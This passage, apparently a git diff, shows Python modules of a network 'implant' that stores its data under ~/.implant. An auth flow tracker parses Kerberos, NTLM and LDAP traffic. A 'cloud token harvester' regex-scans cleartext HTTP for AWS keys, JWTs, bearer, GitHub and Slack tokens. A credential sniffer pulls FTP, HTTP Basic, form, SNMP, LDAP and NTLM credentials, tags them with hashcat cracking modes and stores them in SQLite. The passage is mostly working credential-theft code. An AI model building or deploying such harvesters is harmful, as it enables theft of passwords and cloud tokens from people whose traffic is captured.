elif dst_port in (LDAP_PORT, LDAPS_PORT) or src_port in (LDAP_PORT, LDAPS_PORT):
self._parse_ldap_bind(payload, src_ip, dst_ip, ts)
self._parse_ntlm_in_payload(payload, src_ip, dst_ip, "ldap", ts)
elif dst_port == SSH_PORT or src_port == SSH_PORT:
self._parse_ssh(payload, src_ip, dst_ip, ts)
elif dst_port == RDP_PORT or src_port == RDP_PORT:
self._parse_ntlm_in_payload(payload, src_ip, dst_ip, "rdp", ts)
elif dst_port == MSSQL_PORT or src_port == MSSQL_PORT:
self._parse_ntlm_in_payload(payload, src_ip, dst_ip, "mssql", ts)
elif ip_proto == UDP_PROTO and len(ip_header) >= ihl + 8:
src_port, dst_port = struct.unpack("!HH", ip_header[ihl:ihl + 4])
payload = ip_header[ihl + 8:]
if dst_port == KERBEROS_PORT or src_port == KERBEROS_PORT:
self._parse_kerberos(payload, src_ip, dst_ip, ts)
# ------------------------------------------------------------------
# Kerberos parser
# ------------------------------------------------------------------
def _parse_kerberos(self, payload: bytes, src_ip: str, dst_ip: str,
ts: float) -> None:
"""Parse Kerberos AS-REQ and TGS-REQ to extract principal, realm, SPN."""
if len(payload) < 10:
return
# Kerberos uses ASN.1 DER encoding
# Application tag: AS-REQ=[APPLICATION 10], TGS-REQ=[APPLICATION 12]
tag = payload[0]
if tag & 0x1F == 0x1F:
# Long-form tag, skip for now
return
app_class = (tag >> 6) & 0x03
if app_class != 1: # APPLICATION class
return
msg_type = tag & 0x1F
auth_type = ""
if msg_type == KRB_AS_REQ:
auth_type = "kerberos_as_req"
elif msg_type == KRB_TGS_REQ:
auth_type = "kerberos_tgs_req"
else:
return
# Extract principal and realm from ASN.1 — simplified extraction
# Look for common realm and principal patterns in the raw bytes
realm = self._extract_krb_string(payload, b'\x1b') # GeneralString
principal = self._extract_krb_string(payload, b'\x1b', skip=1)
self._stats["kerberos_events"] += 1
self._record_auth(
ts, src_ip, dst_ip, "kerberos", auth_type,
username=principal, domain=realm,
target_service=principal if msg_type == KRB_TGS_REQ else "",
)
def _extract_krb_string(self, data: bytes, tag: bytes, skip: int = 0) -> str:
"""Extract a GeneralString value from ASN.1 data (simplified)."""
search_tag = tag[0]
pos = 0
found = 0
while pos < len(data) - 2:
if data[pos] == search_tag:
length = data[pos + 1]
if length > 0 and length < 128 and pos + 2 + length <= len(data):
if found >= skip:
try:
return data[pos + 2:pos + 2 + length].decode("ascii", errors="replace")
except Exception:
return ""
found += 1
pos += 1
return ""
# ------------------------------------------------------------------
# NTLM parser
# ------------------------------------------------------------------
def _parse_ntlm_in_payload(self, payload: bytes, src_ip: str, dst_ip: str,
protocol: str, ts: float) -> None:
"""Search for NTLMSSP messages embedded in any protocol payload."""
idx = payload.find(NTLMSSP_SIGNATURE)
if idx == -1 or idx + 12 > len(payload):
return
ntlm_data = payload[idx:]
msg_type = struct.unpack("<I", ntlm_data[8:12])[0]
if msg_type == NTLM_AUTHENTICATE and len(ntlm_data) >= 88:
# Type 3: Authenticate message
username, domain, workstation = self._parse_ntlm_auth(ntlm_data)
if username:
self._stats["ntlm_events"] += 1
self._record_auth(
ts, src_ip, dst_ip, protocol, "ntlm_auth",
username=username, domain=domain,
)
elif msg_type == NTLM_CHALLENGE and len(ntlm_data) >= 56:
# Type 2: Challenge — extract target name
target = self._parse_ntlm_challenge_target(ntlm_data)
if target:
self._stats["ntlm_events"] += 1
self._record_auth(
ts, dst_ip, src_ip, protocol, "ntlm_challenge",
domain=target,
)
def _parse_ntlm_auth(self, data: bytes) -> tuple:
"""Parse NTLM Type 3 Authenticate message for username, domain, workstation."""
if len(data) < 72:
return ("", "", "")
try:
# LmChallengeResponse: offset 12
# NtChallengeResponse: offset 20
# DomainName: length(2), maxlen(2), offset(4) at byte 28
domain_len = struct.unpack("<H", data[28:30])[0]
domain_off = struct.unpack("<I", data[32:36])[0]
# UserName: length(2), maxlen(2), offset(4) at byte 36
user_len = struct.unpack("<H", data[36:38])[0]
user_off = struct.unpack("<I", data[40:44])[0]
# Workstation: length(2), maxlen(2), offset(4) at byte 44
ws_len = struct.unpack("<H", data[44:46])[0]
ws_off = struct.unpack("<I", data[48:52])[0]
domain = data[domain_off:domain_off + domain_len].decode("utf-16-le", errors="replace") if domain_len else ""
username = data[user_off:user_off + user_len].decode("utf-16-le", errors="replace") if user_len else ""
workstation = data[ws_off:ws_off + ws_len].decode("utf-16-le", errors="replace") if ws_len else ""
return (username, domain, workstation)
except Exception:
return ("", "", "")
def _parse_ntlm_challenge_target(self, data: bytes) -> str:
"""Parse NTLM Type 2 Challenge for target name."""
if len(data) < 24:
return ""
try:
target_len = struct.unpack("<H", data[12:14])[0]
target_off = struct.unpack("<I", data[16:20])[0]
if target_len and target_off + target_len <= len(data):
return data[target_off:target_off + target_len].decode("utf-16-le", errors="replace")
except Exception:
pass
return ""
# ------------------------------------------------------------------
# SSH parser
# ------------------------------------------------------------------
def _parse_ssh(self, payload: bytes, src_ip: str, dst_ip: str,
ts: float) -> None:
"""Parse SSH version exchange and detect auth activity."""
# SSH version string starts with "SSH-"
if payload[:4] == b'SSH-':
try:
version_line = payload.split(b'\r\n')[0].decode("ascii", errors="replace")
except Exception:
version_line = ""
self._stats["ssh_events"] += 1
self._record_auth(
ts, src_ip, dst_ip, "ssh", "version_exchange",
target_service=version_line,
)
# ------------------------------------------------------------------
# LDAP bind parser
# ------------------------------------------------------------------
def _parse_ldap_bind(self, payload: bytes, src_ip: str, dst_ip: str,
ts: float) -> None:
"""Parse LDAP simple bind request to extract username."""
if len(payload) < 10:
return
# LDAP messages are BER-encoded
# BindRequest: APPLICATION[0] -> sequence: version, name, auth
# Look for a simple bind: tag 0x60 (APPLICATION CONSTRUCTED 0)
if payload[0] != 0x30: # Not a SEQUENCE
return
# Search for BindRequest tag (0x60) within the message
idx = payload.find(b'\x60')
if idx == -1 or idx + 10 > len(payload):
return
# Skip the BindRequest tag and length
bind_data = payload[idx + 1:]
if not bind_data:
return
# Try to read the length
bind_len, len_size = self._read_ber_length(bind_data)
if bind_len <= 0:
return
bind_body = bind_data[len_size:]
# Version (INTEGER tag 0x02)
if len(bind_body) < 3 or bind_body[0] != 0x02:
return
ver_len = bind_body[1]
name_start = 2 + ver_len
# Name (OCTET STRING tag 0x04)
if len(bind_body) <= name_start + 2:
return
if bind_body[name_start] != 0x04:
return
name_len = bind_body[name_start + 1]
if name_len > 0 and name_start + 2 + name_len <= len(bind_body):
username = bind_body[name_start + 2:name_start + 2 + name_len].decode(
"utf-8", errors="replace"
)
if username and username not in ("", "anonymous"):
self._stats["ldap_bind_events"] += 1
self._record_auth(
ts, src_ip, dst_ip, "ldap", "simple_bind",
username=username,
)
@staticmethod
def _read_ber_length(data: bytes) -> tuple:
"""Read BER length encoding. Returns (length, bytes_consumed)."""
if not data:
return (0, 0)
first = data[0]
if first < 0x80:
return (first, 1)
num_bytes = first & 0x7F
if num_bytes == 0 or len(data) < 1 + num_bytes:
return (0, 0)
length = 0
for i in range(num_bytes):
length = (length << 8) | data[1 + i]
return (length, 1 + num_bytes)
# ------------------------------------------------------------------
# Recording
# ------------------------------------------------------------------
def _record_auth(self, ts: float, src_ip: str, dst_ip: str,
protocol: str, auth_type: str, username: str = "",
domain: str = "", target_service: str = "",
success: int = -1) -> None:
"""Buffer an auth event for batch insert."""
with self._buffer_lock:
self._write_buffer.append((
ts, src_ip, dst_ip, protocol, auth_type,
username, domain, target_service, success,
))
# Track service account patterns
if username:
key = f"{domain}\\{username}" if domain else username
self._user_targets[key].add(dst_ip)
if len(self._user_targets[key]) >= SERVICE_ACCOUNT_THRESHOLD:
# Only count once per user crossing threshold
current_count = len([
u for u, targets in self._user_targets.items()
if len(targets) >= SERVICE_ACCOUNT_THRESHOLD
])
if current_count > self._stats["service_accounts_detected"]:
self._stats["service_accounts_detected"] = current_count
# ------------------------------------------------------------------
# Database
# ------------------------------------------------------------------
def _resolve_db_path(self) -> str:
base = self.config.get("db_dir", os.path.join(
os.path.expanduser("~"), ".implant"
))
return os.path.join(base, "auth_flow_tracker.db")
def _init_db(self) -> None:
Path(self._db_path).parent.mkdir(parents=True, exist_ok=True)
self._db_conn = sqlite3.connect(self._db_path, check_same_thread=False)
self._db_conn.execute("PRAGMA journal_mode=WAL")
self._db_conn.execute("PRAGMA synchronous=NORMAL")
self._db_conn.executescript(_DB_INIT)
self._db_conn.commit()
def _flush_buffer(self) -> None:
with self._buffer_lock:
batch = list(self._write_buffer)
self._write_buffer.clear()
if not batch or not self._db_conn:
return
try:
with self._db_conn:
self._db_conn.executemany(
"""INSERT INTO auth_events
(timestamp, source_ip, dest_ip, protocol, auth_type,
username, domain, target_service, success)
VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?)""",
batch,
)
except Exception:
logger.exception("Failed to flush auth events")
def _flush_loop(self) -> None:
while self._running:
time.sleep(FLUSH_INTERVAL)
try:
self._flush_buffer()
except Exception:
logger.exception("Flush loop error")
+324
View File
@@ -0,0 +1,324 @@
#!/usr/bin/env python3
"""Cloud token harvester — passive credential extraction from cleartext HTTP.
Regex-scans cleartext HTTP traffic (port 80) for AWS access keys, JWT tokens,
OAuth bearer tokens, SAML assertions, Azure AD tokens, and GCP service account
keys. Near-zero yield on most networks but zero cost to run. Publishes
CLOUD_TOKEN_FOUND events and feeds to credential_db via bus events.
"""
import logging
import os
import re
import socket
import sqlite3
import struct
import threading
import time
from pathlib import Path
from typing import Optional
from modules.base import BaseModule
from utils.credential_encryption import emit_credential_found
logger = logging.getLogger(__name__)
# Token regexes — compiled once
_TOKEN_PATTERNS = {
"aws_access_key": re.compile(rb'(AKIA[A-Z0-9]{16})'),
"aws_secret_key": re.compile(rb'(?:aws_secret_access_key|secret[_-]?key)\s*[=:]\s*([A-Za-z0-9/+=]{40})', re.IGNORECASE),
"jwt": re.compile(rb'(eyJ[A-Za-z0-9_-]{10,}\.eyJ[A-Za-z0-9_-]{10,}\.[A-Za-z0-9_-]+)'),
"bearer_token": re.compile(rb'[Bb]earer\s+([A-Za-z0-9_\-\.~+/]+=*)', re.IGNORECASE),
"saml_assertion": re.compile(rb'(<saml[2p]*:Assertion[^>]*>.*?</saml[2p]*:Assertion>)', re.DOTALL | re.IGNORECASE),
"azure_ad_token": re.compile(rb'(eyJ[A-Za-z0-9_-]+\.eyJ[A-Za-z0-9_-]+\.[A-Za-z0-9_-]+)'),
"gcp_service_key": re.compile(rb'"type"\s*:\s*"service_account".*?"private_key"\s*:\s*"([^"]+)"', re.DOTALL),
"api_key_generic": re.compile(rb'(?:api[_-]?key|apikey|x-api-key)\s*[=:]\s*([A-Za-z0-9_\-]{20,})', re.IGNORECASE),
"github_token": re.compile(rb'(ghp_[A-Za-z0-9]{36}|gho_[A-Za-z0-9]{36}|ghs_[A-Za-z0-9]{36}|ghr_[A-Za-z0-9]{36})'),
"slack_token": re.compile(rb'(xox[baprs]-[A-Za-z0-9\-]+)'),
}
_DB_INIT = """
CREATE TABLE IF NOT EXISTS cloud_tokens (
id INTEGER PRIMARY KEY AUTOINCREMENT,
timestamp REAL NOT NULL,
source_ip TEXT NOT NULL,
dest_ip TEXT NOT NULL,
token_type TEXT NOT NULL,
token_value TEXT NOT NULL,
context TEXT DEFAULT ''
);
CREATE INDEX IF NOT EXISTS idx_ct_type ON cloud_tokens(token_type);
CREATE INDEX IF NOT EXISTS idx_ct_ts ON cloud_tokens(timestamp);
"""
FLUSH_INTERVAL = 60
class CloudTokenHarvester(BaseModule):
"""Passively harvest cloud tokens and API keys from cleartext HTTP."""
name = "cloud_token_harvester"
module_type = "passive"
priority = 200
requires_root = True
requires_capture_bus = True
def __init__(self, bus, state, config, engine=None):
super().__init__(bus, state, config, engine)
self._capture_bus = None
self._sub_queue = None
self._read_thread: Optional[threading.Thread] = None
self._flush_thread: Optional[threading.Thread] = None
self._db_path = self._resolve_db_path()
self._db_conn: Optional[sqlite3.Connection] = None
self._write_buffer: list[tuple] = []
self._buffer_lock = threading.Lock()
# Dedup: track recently seen tokens to avoid spamming
self._seen_tokens: set = set()
self._seen_tokens_lock = threading.Lock()
self._stats = {
"packets_processed": 0,
"http_payloads_scanned": 0,
"tokens_found": 0,
"tokens_by_type": {},
}
# ------------------------------------------------------------------
# BaseModule interface
# ------------------------------------------------------------------
def start(self) -> None:
if self._running:
return
self._init_db()
self._capture_bus = self.config.get("_capture_bus")
if self._capture_bus is None:
logger.error("CloudTokenHarvester requires _capture_bus in config")
return
self._sub_queue = self._capture_bus.subscribe(
name=self.name, bpf_filter="port 80", queue_depth=3000
)
self._running = True
self._start_time = time.time()
self._pid = os.getpid()
self._read_thread = threading.Thread(
target=self._read_loop, daemon=True, name="sensor-cloud-read"
)
self._read_thread.start()
self._flush_thread = threading.Thread(
target=self._flush_loop, daemon=True, name="sensor-cloud-flush"
)
self._flush_thread.start()
self.state.set_module_status(self.name, "running", pid=self._pid)
self.bus.emit("MODULE_STARTED", {"module": self.name}, source_module=self.name)
logger.info("CloudTokenHarvester started")
def stop(self) -> None:
if not self._running:
return
self._running = False
if self._capture_bus:
self._capture_bus.unsubscribe(self.name)
for t in (self._read_thread, self._flush_thread):
if t and t.is_alive():
t.join(timeout=5.0)
self._flush_buffer()
if self._db_conn:
self._db_conn.close()
self._db_conn = None
self.state.set_module_status(self.name, "stopped")
self.bus.emit("MODULE_STOPPED", {"module": self.name}, source_module=self.name)
logger.info("CloudTokenHarvester stopped — stats: %s", self._stats)
def status(self) -> dict:
return {
"running": self._running,
"pid": self._pid,
"uptime": time.time() - self._start_time if self._start_time else 0,
**self._stats,
}
def configure(self, config: dict) -> None:
self.config.update(config)
# ------------------------------------------------------------------
# Packet processing
# ------------------------------------------------------------------
def _read_loop(self) -> None:
while self._running:
result = self._sub_queue.get(timeout=1.0)
if result is None:
continue
ts, pkt = result
self._stats["packets_processed"] += 1
try:
self._process_packet(pkt, ts)
except Exception:
logger.debug("Error processing packet", exc_info=True)
def _process_packet(self, pkt: bytes, ts: float) -> None:
"""Extract HTTP payload and scan for tokens."""
if len(pkt) < 54:
return
ethertype = struct.unpack("!H", pkt[12:14])[0]
eth_offset = 14
if ethertype == 0x8100:
if len(pkt) < 58:
return
ethertype = struct.unpack("!H", pkt[16:18])[0]
eth_offset = 18
if ethertype != 0x0800:
return
ip_header = pkt[eth_offset:]
if len(ip_header) < 20:
return
ihl = (ip_header[0] & 0x0F) * 4
ip_proto = ip_header[9]
if ip_proto != 6: # TCP only
return
src_ip = socket.inet_ntoa(ip_header[12:16])
dst_ip = socket.inet_ntoa(ip_header[16:20])
if len(ip_header) < ihl + 20:
return
tcp_data_off = ((ip_header[ihl + 12] >> 4) & 0xF) * 4
payload = ip_header[ihl + tcp_data_off:]
if len(payload) < 10:
return
# Quick check: does this look like HTTP?
if not (payload[:4] in (b'GET ', b'POST', b'PUT ', b'HEAD', b'HTTP', b'PATC', b'DELE')
or payload[:7] == b'CONNECT' or payload[:7] == b'OPTIONS'):
return
self._stats["http_payloads_scanned"] += 1
self._scan_for_tokens(payload, src_ip, dst_ip, ts)
def _scan_for_tokens(self, payload: bytes, src_ip: str, dst_ip: str,
ts: float) -> None:
"""Run all token regexes against the HTTP payload."""
for token_type, pattern in _TOKEN_PATTERNS.items():
try:
matches = pattern.findall(payload)
except Exception:
continue
for match in matches:
if isinstance(match, bytes):
token_value = match.decode("ascii", errors="replace")
else:
token_value = str(match)
# Skip very short matches (likely false positives)
if len(token_value) < 10:
continue
# Dedup
token_hash = f"{token_type}:{token_value[:32]}"
with self._seen_tokens_lock:
if token_hash in self._seen_tokens:
continue
self._seen_tokens.add(token_hash)
# Bound the seen set
if len(self._seen_tokens) > 10000:
self._seen_tokens.clear()
# Extract context (surrounding bytes for context)
idx = payload.find(match if isinstance(match, bytes) else match.encode())
context_start = max(0, idx - 50)
context_end = min(len(payload), idx + len(match) + 50) if idx >= 0 else 0
context = payload[context_start:context_end].decode("ascii", errors="replace") if idx >= 0 else ""
self._stats["tokens_found"] += 1
self._stats["tokens_by_type"][token_type] = (
self._stats["tokens_by_type"].get(token_type, 0) + 1
)
logger.info(
"Cloud token found: type=%s src=%s dst=%s value=%s...",
token_type, src_ip, dst_ip, token_value[:20]
)
# Publish event
self.bus.emit("CLOUD_TOKEN_FOUND", {
"token_type": token_type,
"token_value": token_value,
"source_ip": src_ip,
"dest_ip": dst_ip,
"context": context[:200],
}, source_module=self.name)
# Also feed to credential_db
emit_credential_found(self.bus, self.name, {
"source": f"cloud_token_{token_type}",
"username": "",
"credential": token_value,
"source_ip": src_ip,
"dest_ip": dst_ip,
"protocol": "http",
})
self._record_token(ts, src_ip, dst_ip, token_type, token_value, context)
# ------------------------------------------------------------------
# Database
# ------------------------------------------------------------------
def _resolve_db_path(self) -> str:
base = self.config.get("db_dir", os.path.join(
os.path.expanduser("~"), ".implant"
))
return os.path.join(base, "cloud_token_harvester.db")
def _init_db(self) -> None:
Path(self._db_path).parent.mkdir(parents=True, exist_ok=True)
self._db_conn = sqlite3.connect(self._db_path, check_same_thread=False)
self._db_conn.execute("PRAGMA journal_mode=WAL")
self._db_conn.execute("PRAGMA synchronous=NORMAL")
self._db_conn.executescript(_DB_INIT)
self._db_conn.commit()
def _record_token(self, ts: float, src_ip: str, dst_ip: str,
token_type: str, token_value: str, context: str) -> None:
with self._buffer_lock:
self._write_buffer.append((
ts, src_ip, dst_ip, token_type, token_value, context[:500]
))
def _flush_buffer(self) -> None:
with self._buffer_lock:
batch = list(self._write_buffer)
self._write_buffer.clear()
if not batch or not self._db_conn:
return
try:
with self._db_conn:
self._db_conn.executemany(
"""INSERT INTO cloud_tokens
(timestamp, source_ip, dest_ip, token_type, token_value, context)
VALUES (?, ?, ?, ?, ?, ?)""",
batch,
)
except Exception:
logger.exception("Failed to flush cloud tokens")
def _flush_loop(self) -> None:
while self._running:
time.sleep(FLUSH_INTERVAL)
try:
self._flush_buffer()
except Exception:
logger.exception("Flush loop error")
+659
View File
@@ -0,0 +1,659 @@
#!/usr/bin/env python3
"""Passive credential extraction from network traffic.
Extracts cleartext and hashed credentials from protocols:
- FTP USER/PASS
- HTTP Basic auth (base64 decode)
- HTTP form POST (password fields)
- SNMP community strings
- LDAP simple bind
- NTLMv1/v2 challenge-response from SMB and HTTP
Publishes CREDENTIAL_FOUND events immediately on capture.
Batch-writes to SQLite for persistence.
"""
import base64
import logging
import os
import re
import socket
import sqlite3
import struct
import threading
import time
from pathlib import Path
from typing import Optional
from modules.base import BaseModule
from utils.credential_encryption import emit_credential_found
logger = logging.getLogger(__name__)
# Hashcat mode mapping
HASHCAT_MODES = {
"ntlmv2": 5600,
"ntlmv1": 5500,
"net-ntlmv2": 5600,
"net-ntlmv1": 5500,
"ftp": 0, # plaintext
"http_basic": 0,
"http_form": 0,
"snmp": 0,
"ldap_simple": 0,
}
class CredentialSniffer(BaseModule):
"""Extract credentials from network traffic in real time."""
name = "credential_sniffer"
module_type = "passive"
priority = 80
requires_root = True
requires_capture_bus = True
BATCH_SIZE = 100
FLUSH_INTERVAL = 30
def __init__(self, bus, state, config, engine=None):
super().__init__(bus, state, config, engine)
self._capture_bus = None
self._sub_queue = None
self._reader_thread: Optional[threading.Thread] = None
self._flusher_thread: Optional[threading.Thread] = None
self._buffer = []
self._buffer_lock = threading.Lock()
self._db_path = ""
self._db_conn: Optional[sqlite3.Connection] = None
self._total_creds = 0
# Track FTP sessions: (src_ip, dst_ip, dst_port) -> last_user
self._ftp_sessions = {}
# ------------------------------------------------------------------
# BaseModule interface
# ------------------------------------------------------------------
def start(self) -> None:
if self._running:
return
self._capture_bus = self.config.get("capture_bus")
if not self._capture_bus:
logger.error("CredentialSniffer requires capture_bus in config")
return
base_dir = self.config.get("data_dir", os.path.expanduser("~/.implant"))
self._db_path = os.path.join(base_dir, "credentials.db")
Path(os.path.dirname(self._db_path)).mkdir(parents=True, exist_ok=True)
self._init_db()
# Load BPF filter from file or use default
bpf_path = self.config.get("bpf_filter_path", "")
bpf_filter = ""
if bpf_path and os.path.isfile(bpf_path):
with open(bpf_path) as f:
lines = [l.strip() for l in f if l.strip() and not l.startswith("#")]
bpf_filter = " ".join(lines)
if not bpf_filter:
bpf_filter = "port 80 or port 21 or port 23 or port 25 or port 110 or port 143 or port 389 or port 88 or port 445"
self._sub_queue = self._capture_bus.subscribe(
name=self.name, bpf_filter=bpf_filter, queue_depth=8000
)
self._running = True
self._pid = os.getpid()
self._start_time = time.time()
self._reader_thread = threading.Thread(
target=self._read_packets, daemon=True, name="sensor-cred-reader"
)
self._reader_thread.start()
self._flusher_thread = threading.Thread(
target=self._flush_loop, daemon=True, name="sensor-cred-flusher"
)
self._flusher_thread.start()
self.state.set_module_status(self.name, "running", pid=os.getpid())
logger.info("CredentialSniffer started")
def stop(self) -> None:
if not self._running:
return
self._running = False
if self._capture_bus:
self._capture_bus.unsubscribe(self.name)
self._flush_buffer()
if self._db_conn:
self._db_conn.close()
self._db_conn = None
self.state.set_module_status(self.name, "stopped")
logger.info("CredentialSniffer stopped — %d credentials captured", self._total_creds)
def status(self) -> dict:
return {
"running": self._running,
"pid": self._pid,
"uptime": time.time() - self._start_time if self._start_time else 0,
"total_credentials": self._total_creds,
"buffer_size": len(self._buffer),
}
def configure(self, config: dict) -> None:
self.config.update(config)
# ------------------------------------------------------------------
# Database
# ------------------------------------------------------------------
def _init_db(self) -> None:
self._db_conn = sqlite3.connect(self._db_path, check_same_thread=False)
self._db_conn.execute("PRAGMA journal_mode=WAL")
self._db_conn.execute("PRAGMA synchronous=NORMAL")
self._db_conn.executescript("""
CREATE TABLE IF NOT EXISTS credentials (
id INTEGER PRIMARY KEY AUTOINCREMENT,
timestamp REAL NOT NULL,
source_ip TEXT NOT NULL,
target_ip TEXT NOT NULL,
target_port INTEGER NOT NULL,
service TEXT NOT NULL,
username TEXT,
domain TEXT,
cred_type TEXT NOT NULL,
cred_value TEXT,
hashcat_mode INTEGER
);
CREATE INDEX IF NOT EXISTS idx_cred_source ON credentials(source_ip);
CREATE INDEX IF NOT EXISTS idx_cred_service ON credentials(service);
CREATE INDEX IF NOT EXISTS idx_cred_ts ON credentials(timestamp);
""")
self._db_conn.commit()
# ------------------------------------------------------------------
# Packet reader
# ------------------------------------------------------------------
def _read_packets(self) -> None:
while self._running:
result = self._sub_queue.get(timeout=1.0)
if result is None:
continue
ts, raw_packet = result
try:
self._parse_packet(ts, raw_packet)
except Exception:
pass
def _parse_packet(self, ts: float, raw: bytes) -> None:
"""Route packet to appropriate protocol parser."""
if len(raw) < 14:
return
eth_type = struct.unpack("!H", raw[12:14])[0]
ip_offset = 14
if eth_type == 0x8100:
if len(raw) < 18:
return
eth_type = struct.unpack("!H", raw[16:18])[0]
ip_offset = 18
if eth_type != 0x0800:
return
if len(raw) < ip_offset + 20:
return
ip_hdr = raw[ip_offset:]
ihl = (ip_hdr[0] & 0x0F) * 4
ip_proto = ip_hdr[9]
src_ip = socket.inet_ntoa(ip_hdr[12:16])
dst_ip = socket.inet_ntoa(ip_hdr[16:20])
if ip_proto == 6: # TCP
tcp_offset = ip_offset + ihl
if len(raw) < tcp_offset + 20:
return
src_port, dst_port = struct.unpack("!HH", raw[tcp_offset:tcp_offset + 4])
tcp_hdr_len = ((raw[tcp_offset + 12] >> 4) & 0xF) * 4
payload = raw[tcp_offset + tcp_hdr_len:]
if not payload:
return
# FTP (port 21)
if dst_port == 21 or src_port == 21:
self._parse_ftp(ts, src_ip, dst_ip, dst_port, src_port, payload)
# HTTP (port 80, 8080, 8443, etc.)
if dst_port in (80, 8080, 8000, 8443, 3128):
self._parse_http(ts, src_ip, dst_ip, dst_port, payload)
# LDAP (port 389, 3268)
if dst_port in (389, 3268):
self._parse_ldap(ts, src_ip, dst_ip, dst_port, payload)
# SMB (port 445) — NTLM auth
if dst_port == 445 or src_port == 445:
self._parse_smb_ntlm(ts, src_ip, dst_ip, dst_port, src_port, payload)
elif ip_proto == 17: # UDP
udp_offset = ip_offset + ihl
if len(raw) < udp_offset + 8:
return
src_port, dst_port = struct.unpack("!HH", raw[udp_offset:udp_offset + 4])
payload = raw[udp_offset + 8:]
# SNMP (port 161)
if dst_port == 161:
self._parse_snmp(ts, src_ip, dst_ip, dst_port, payload)
# ------------------------------------------------------------------
# Protocol parsers
# ------------------------------------------------------------------
def _parse_ftp(self, ts: float, src_ip: str, dst_ip: str,
dst_port: int, src_port: int, payload: bytes) -> None:
"""Parse FTP USER and PASS commands."""
try:
text = payload.decode("ascii", errors="ignore").strip()
except Exception:
return
# Client -> Server commands
ftp_target = dst_ip if dst_port == 21 else src_ip
ftp_client = src_ip if dst_port == 21 else dst_ip
ftp_port = 21
session_key = (ftp_client, ftp_target, ftp_port)
if text.upper().startswith("USER "):
username = text[5:].strip()
self._ftp_sessions[session_key] = username
elif text.upper().startswith("PASS "):
password = text[5:].strip()
username = self._ftp_sessions.get(session_key, "")
self._emit_credential(
ts, ftp_client, ftp_target, ftp_port,
"ftp", username, "", "plaintext", password, HASHCAT_MODES["ftp"],
)
def _parse_http(self, ts: float, src_ip: str, dst_ip: str,
dst_port: int, payload: bytes) -> None:
"""Parse HTTP Authorization headers and form POST data."""
try:
text = payload.decode("utf-8", errors="ignore")
except Exception:
return
# HTTP Basic auth
basic_match = re.search(
r"Authorization:\s*Basic\s+([A-Za-z0-9+/=]+)", text, re.IGNORECASE
)
if basic_match:
try:
decoded = base64.b64decode(basic_match.group(1)).decode("utf-8", errors="replace")
if ":" in decoded:
username, password = decoded.split(":", 1)
self._emit_credential(
ts, src_ip, dst_ip, dst_port,
"http_basic", username, "", "plaintext", password,
HASHCAT_MODES["http_basic"],
)
except Exception:
pass
# NTLM over HTTP
ntlm_match = re.search(
r"Authorization:\s*NTLM\s+([A-Za-z0-9+/=]+)", text, re.IGNORECASE
)
if ntlm_match:
self._parse_ntlm_token(
ts, src_ip, dst_ip, dst_port, "http_ntlm",
base64.b64decode(ntlm_match.group(1)),
)
# HTTP form POST with password fields
if text.startswith("POST "):
content_type_match = re.search(
r"Content-Type:\s*application/x-www-form-urlencoded", text, re.IGNORECASE
)
if content_type_match:
# Find body (after double CRLF)
body_start = text.find("\r\n\r\n")
if body_start == -1:
body_start = text.find("\n\n")
if body_start >= 0:
body = text[body_start:].strip()
self._parse_form_post(ts, src_ip, dst_ip, dst_port, body)
def _parse_form_post(self, ts: float, src_ip: str, dst_ip: str,
dst_port: int, body: str) -> None:
"""Extract username/password from URL-encoded form POST."""
params = {}
for pair in body.split("&"):
if "=" in pair:
key, value = pair.split("=", 1)
params[key.lower()] = value
# Look for common password field names
password_keys = ["password", "passwd", "pass", "pwd", "user_password",
"login_password", "secret"]
username_keys = ["username", "user", "login", "email", "userid",
"login_name", "user_name"]
password = ""
username = ""
for pk in password_keys:
if pk in params:
password = params[pk]
break
if not password:
return
for uk in username_keys:
if uk in params:
username = params[uk]
break
self._emit_credential(
ts, src_ip, dst_ip, dst_port,
"http_form", username, "", "plaintext", password,
HASHCAT_MODES["http_form"],
)
def _parse_snmp(self, ts: float, src_ip: str, dst_ip: str,
dst_port: int, payload: bytes) -> None:
"""Extract SNMP v1/v2c community strings from packets."""
if len(payload) < 10:
return
# SNMP is BER/ASN.1 encoded
# Sequence tag: 0x30
if payload[0] != 0x30:
return
offset = 1
# Skip sequence length
if payload[offset] & 0x80:
num_len_bytes = payload[offset] & 0x7F
offset += 1 + num_len_bytes
else:
offset += 1
# Version: Integer tag (0x02)
if offset >= len(payload) or payload[offset] != 0x02:
return
offset += 1
ver_len = payload[offset]
offset += 1
if offset + ver_len > len(payload):
return
version = int.from_bytes(payload[offset:offset + ver_len], "big")
offset += ver_len
# Only v1 (0) and v2c (1) have community strings
if version > 1:
return
# Community string: OctetString tag (0x04)
if offset >= len(payload) or payload[offset] != 0x04:
return
offset += 1
if offset >= len(payload):
return
comm_len = payload[offset]
offset += 1
if offset + comm_len > len(payload):
return
community = payload[offset:offset + comm_len].decode("ascii", errors="replace")
# Skip trivially useless ones
if community.lower() in ("", "public"):
return
self._emit_credential(
ts, src_ip, dst_ip, dst_port,
"snmp", "", "", "community_string", community,
HASHCAT_MODES["snmp"],
)
def _parse_ldap(self, ts: float, src_ip: str, dst_ip: str,
dst_port: int, payload: bytes) -> None:
"""Extract LDAP simple bind credentials."""
if len(payload) < 14:
return
# LDAP messages are BER encoded
# Sequence (0x30)
if payload[0] != 0x30:
return
offset = 1
# Skip outer sequence length
seq_len, offset = self._ber_length(payload, offset)
if seq_len < 0:
return
# MessageID: Integer (0x02)
if offset >= len(payload) or payload[offset] != 0x02:
return
offset += 1
id_len, offset = self._ber_length(payload, offset)
if id_len < 0:
return
offset += id_len
# BindRequest: Application[0] = 0x60
if offset >= len(payload) or payload[offset] != 0x60:
return
offset += 1
bind_len, offset = self._ber_length(payload, offset)
if bind_len < 0:
return
# Version: Integer (0x02)
if offset >= len(payload) or payload[offset] != 0x02:
return
offset += 1
ver_len, offset = self._ber_length(payload, offset)
if ver_len < 0:
return
offset += ver_len
# DN: OctetString (0x04)
if offset >= len(payload) or payload[offset] != 0x04:
return
offset += 1
dn_len, offset = self._ber_length(payload, offset)
if dn_len < 0 or offset + dn_len > len(payload):
return
dn = payload[offset:offset + dn_len].decode("utf-8", errors="replace")
offset += dn_len
# Auth choice: Simple = Context[0] = 0x80
if offset >= len(payload) or payload[offset] != 0x80:
return
offset += 1
pass_len, offset = self._ber_length(payload, offset)
if pass_len < 0 or offset + pass_len > len(payload):
return
password = payload[offset:offset + pass_len].decode("utf-8", errors="replace")
if not password:
return
self._emit_credential(
ts, src_ip, dst_ip, dst_port,
"ldap_simple", dn, "", "plaintext", password,
HASHCAT_MODES["ldap_simple"],
)
